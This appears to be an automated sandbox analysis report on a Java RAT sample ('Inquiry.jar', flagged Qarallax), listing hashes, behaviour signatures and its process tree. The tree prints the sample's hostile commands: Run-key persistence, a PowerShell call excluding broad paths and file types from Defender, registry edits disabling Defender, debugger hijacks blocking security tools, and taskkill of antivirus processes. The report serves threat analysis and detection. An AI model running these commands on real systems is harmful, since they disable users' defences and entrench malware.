Analysis
-
max time kernel
151s -
max time network
154s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
19-08-2020 13:44
Static task
static1
Behavioral task
behavioral1
Sample
Inquiry.jar
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Inquiry.jar
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
-
Target
Inquiry.jar
-
Size
399KB
-
MD5
5352736e23d73f99115747c7d3813320
-
SHA1
79c0cac4a1fcd477e215cdcc57e740e911d79caf
-
SHA256
2540f6138141298d986aa920209ad387686df0ffb9d715245aa1619a9776382d
-
SHA512
2c3cb218f0319a44a4ce65fe76b04af07e9bcaec5fbb6055ee099d382464d4d8d239c33086217072f82e344ca30e6850c62169dea3e0a4e092ac3590dd4cd30f
Score
10/10
Malware Config
Signatures
-
Qarallax RAT support DLL 1 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\gfvVpvSfIu346050830846565431.xml qarallax_dll -
Sets file execution options in registry 2 TTPs
-
Loads dropped DLL 1 IoCs
Processes:
java.exepid process 992 java.exe -
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
java.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\DhjUvlC = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\DNVJe\\AWHZt.class\"" java.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\DhjUvlC = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\DNVJe\\AWHZt.class\"" java.exe -
Drops desktop.ini file(s) 4 IoCs
Processes:
java.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Users\Admin\DNVJe\Desktop.ini java.exe File created C:\Users\Admin\DNVJe\Desktop.ini java.exe File opened for modification C:\Users\Admin\DNVJe\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\DNVJe\Desktop.ini attrib.exe -
Drops file in System32 directory 2 IoCs
Processes:
java.exedescription ioc process File created C:\Windows\System32\CMKGv java.exe File opened for modification C:\Windows\System32\CMKGv java.exe -
Kills process with taskkill 16 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 1960 taskkill.exe 1676 taskkill.exe 1968 taskkill.exe 868 taskkill.exe 1408 taskkill.exe 2016 taskkill.exe 1988 taskkill.exe 1676 taskkill.exe 1932 taskkill.exe 1864 taskkill.exe 1932 taskkill.exe 1600 taskkill.exe 1492 taskkill.exe 1892 taskkill.exe 1520 taskkill.exe 1892 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2028 powershell.exe 2028 powershell.exe -
Suspicious use of AdjustPrivilegeToken 97 IoCs
Processes:
WMIC.exeWMIC.exedescription pid process Token: SeIncreaseQuotaPrivilege 1420 WMIC.exe Token: SeSecurityPrivilege 1420 WMIC.exe Token: SeTakeOwnershipPrivilege 1420 WMIC.exe Token: SeLoadDriverPrivilege 1420 WMIC.exe Token: SeSystemProfilePrivilege 1420 WMIC.exe Token: SeSystemtimePrivilege 1420 WMIC.exe Token: SeProfSingleProcessPrivilege 1420 WMIC.exe Token: SeIncBasePriorityPrivilege 1420 WMIC.exe Token: SeCreatePagefilePrivilege 1420 WMIC.exe Token: SeBackupPrivilege 1420 WMIC.exe Token: SeRestorePrivilege 1420 WMIC.exe Token: SeShutdownPrivilege 1420 WMIC.exe Token: SeDebugPrivilege 1420 WMIC.exe Token: SeSystemEnvironmentPrivilege 1420 WMIC.exe Token: SeRemoteShutdownPrivilege 1420 WMIC.exe Token: SeUndockPrivilege 1420 WMIC.exe Token: SeManageVolumePrivilege 1420 WMIC.exe Token: 33 1420 WMIC.exe Token: 34 1420 WMIC.exe Token: 35 1420 WMIC.exe Token: SeIncreaseQuotaPrivilege 1420 WMIC.exe Token: SeSecurityPrivilege 1420 WMIC.exe Token: SeTakeOwnershipPrivilege 1420 WMIC.exe Token: SeLoadDriverPrivilege 1420 WMIC.exe Token: SeSystemProfilePrivilege 1420 WMIC.exe Token: SeSystemtimePrivilege 1420 WMIC.exe Token: SeProfSingleProcessPrivilege 1420 WMIC.exe Token: SeIncBasePriorityPrivilege 1420 WMIC.exe Token: SeCreatePagefilePrivilege 1420 WMIC.exe Token: SeBackupPrivilege 1420 WMIC.exe Token: SeRestorePrivilege 1420 WMIC.exe Token: SeShutdownPrivilege 1420 WMIC.exe Token: SeDebugPrivilege 1420 WMIC.exe Token: SeSystemEnvironmentPrivilege 1420 WMIC.exe Token: SeRemoteShutdownPrivilege 1420 WMIC.exe Token: SeUndockPrivilege 1420 WMIC.exe Token: SeManageVolumePrivilege 1420 WMIC.exe Token: 33 1420 WMIC.exe Token: 34 1420 WMIC.exe Token: 35 1420 WMIC.exe Token: SeIncreaseQuotaPrivilege 1872 WMIC.exe Token: SeSecurityPrivilege 1872 WMIC.exe Token: SeTakeOwnershipPrivilege 1872 WMIC.exe Token: SeLoadDriverPrivilege 1872 WMIC.exe Token: SeSystemProfilePrivilege 1872 WMIC.exe Token: SeSystemtimePrivilege 1872 WMIC.exe Token: SeProfSingleProcessPrivilege 1872 WMIC.exe Token: SeIncBasePriorityPrivilege 1872 WMIC.exe Token: SeCreatePagefilePrivilege 1872 WMIC.exe Token: SeBackupPrivilege 1872 WMIC.exe Token: SeRestorePrivilege 1872 WMIC.exe Token: SeShutdownPrivilege 1872 WMIC.exe Token: SeDebugPrivilege 1872 WMIC.exe Token: SeSystemEnvironmentPrivilege 1872 WMIC.exe Token: SeRemoteShutdownPrivilege 1872 WMIC.exe Token: SeUndockPrivilege 1872 WMIC.exe Token: SeManageVolumePrivilege 1872 WMIC.exe Token: 33 1872 WMIC.exe Token: 34 1872 WMIC.exe Token: 35 1872 WMIC.exe Token: SeIncreaseQuotaPrivilege 1872 WMIC.exe Token: SeSecurityPrivilege 1872 WMIC.exe Token: SeTakeOwnershipPrivilege 1872 WMIC.exe Token: SeLoadDriverPrivilege 1872 WMIC.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
java.exepid process 992 java.exe -
Suspicious use of WriteProcessMemory 753 IoCs
Processes:
java.execmd.execmd.execmd.exedescription pid process target process PID 992 wrote to memory of 1760 992 java.exe cmd.exe PID 992 wrote to memory of 1760 992 java.exe cmd.exe PID 992 wrote to memory of 1760 992 java.exe cmd.exe PID 992 wrote to memory of 1780 992 java.exe cmd.exe PID 992 wrote to memory of 1780 992 java.exe cmd.exe PID 992 wrote to memory of 1780 992 java.exe cmd.exe PID 1780 wrote to memory of 1420 1780 cmd.exe WMIC.exe PID 1780 wrote to memory of 1420 1780 cmd.exe WMIC.exe PID 1780 wrote to memory of 1420 1780 cmd.exe WMIC.exe PID 992 wrote to memory of 1860 992 java.exe cmd.exe PID 992 wrote to memory of 1860 992 java.exe cmd.exe PID 992 wrote to memory of 1860 992 java.exe cmd.exe PID 1860 wrote to memory of 1872 1860 cmd.exe WMIC.exe PID 1860 wrote to memory of 1872 1860 cmd.exe WMIC.exe PID 1860 wrote to memory of 1872 1860 cmd.exe WMIC.exe PID 992 wrote to memory of 576 992 java.exe attrib.exe PID 992 wrote to memory of 576 992 java.exe attrib.exe PID 992 wrote to memory of 576 992 java.exe attrib.exe PID 992 wrote to memory of 432 992 java.exe attrib.exe PID 992 wrote to memory of 432 992 java.exe attrib.exe PID 992 wrote to memory of 432 992 java.exe attrib.exe PID 992 wrote to memory of 1600 992 java.exe attrib.exe PID 992 wrote to memory of 1600 992 java.exe attrib.exe PID 992 wrote to memory of 1600 992 java.exe attrib.exe PID 992 wrote to memory of 1652 992 java.exe attrib.exe PID 992 wrote to memory of 1652 992 java.exe attrib.exe PID 992 wrote to memory of 1652 992 java.exe attrib.exe PID 992 wrote to memory of 1592 992 java.exe attrib.exe PID 992 wrote to memory of 1592 992 java.exe attrib.exe PID 992 wrote to memory of 1592 992 java.exe attrib.exe PID 992 wrote to memory of 1564 992 java.exe attrib.exe PID 992 wrote to memory of 1564 992 java.exe attrib.exe PID 992 wrote to memory of 1564 992 java.exe attrib.exe PID 992 wrote to memory of 1976 992 java.exe attrib.exe PID 992 wrote to memory of 1976 992 java.exe attrib.exe PID 992 wrote to memory of 1976 992 java.exe attrib.exe PID 992 wrote to memory of 1936 992 java.exe attrib.exe PID 992 wrote to memory of 1936 992 java.exe attrib.exe PID 992 wrote to memory of 1936 992 java.exe attrib.exe PID 992 wrote to memory of 2028 992 java.exe powershell.exe PID 992 wrote to memory of 2028 992 java.exe powershell.exe PID 992 wrote to memory of 2028 992 java.exe powershell.exe PID 992 wrote to memory of 1996 992 java.exe cmd.exe PID 992 wrote to memory of 1996 992 java.exe cmd.exe PID 992 wrote to memory of 1996 992 java.exe cmd.exe PID 992 wrote to memory of 1160 992 java.exe reg.exe PID 992 wrote to memory of 1160 992 java.exe reg.exe PID 992 wrote to memory of 1160 992 java.exe reg.exe PID 992 wrote to memory of 1492 992 java.exe taskkill.exe PID 992 wrote to memory of 1492 992 java.exe taskkill.exe PID 992 wrote to memory of 1492 992 java.exe taskkill.exe PID 992 wrote to memory of 1432 992 java.exe reg.exe PID 992 wrote to memory of 1432 992 java.exe reg.exe PID 992 wrote to memory of 1432 992 java.exe reg.exe PID 992 wrote to memory of 616 992 java.exe reg.exe PID 992 wrote to memory of 616 992 java.exe reg.exe PID 992 wrote to memory of 616 992 java.exe reg.exe PID 1996 wrote to memory of 1196 1996 cmd.exe reg.exe PID 1996 wrote to memory of 1196 1996 cmd.exe reg.exe PID 1996 wrote to memory of 1196 1996 cmd.exe reg.exe PID 992 wrote to memory of 1496 992 java.exe reg.exe PID 992 wrote to memory of 1496 992 java.exe reg.exe PID 992 wrote to memory of 1496 992 java.exe reg.exe PID 992 wrote to memory of 1584 992 java.exe reg.exe -
Views/modifies file attributes 1 TTPs 8 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exepid process 1936 attrib.exe 576 attrib.exe 432 attrib.exe 1600 attrib.exe 1652 attrib.exe 1592 attrib.exe 1564 attrib.exe 1976 attrib.exe
Processes
-
C:\Windows\system32\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\Inquiry.jar1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\Oracle2⤵
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib +h +r +s C:\Users\Admin\.ntusernt.ini2⤵
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\DNVJe\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\DNVJe\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\DNVJe2⤵
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\DNVJe2⤵
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\DNVJe2⤵
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib +h +s +r C:\Users\Admin\DNVJe\AWHZt.class2⤵
- Views/modifies file attributes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\DNVJe','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\DNVJe\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:323⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:323⤵
-
C:\Windows\system32\cmd.execmd.exe2⤵
-
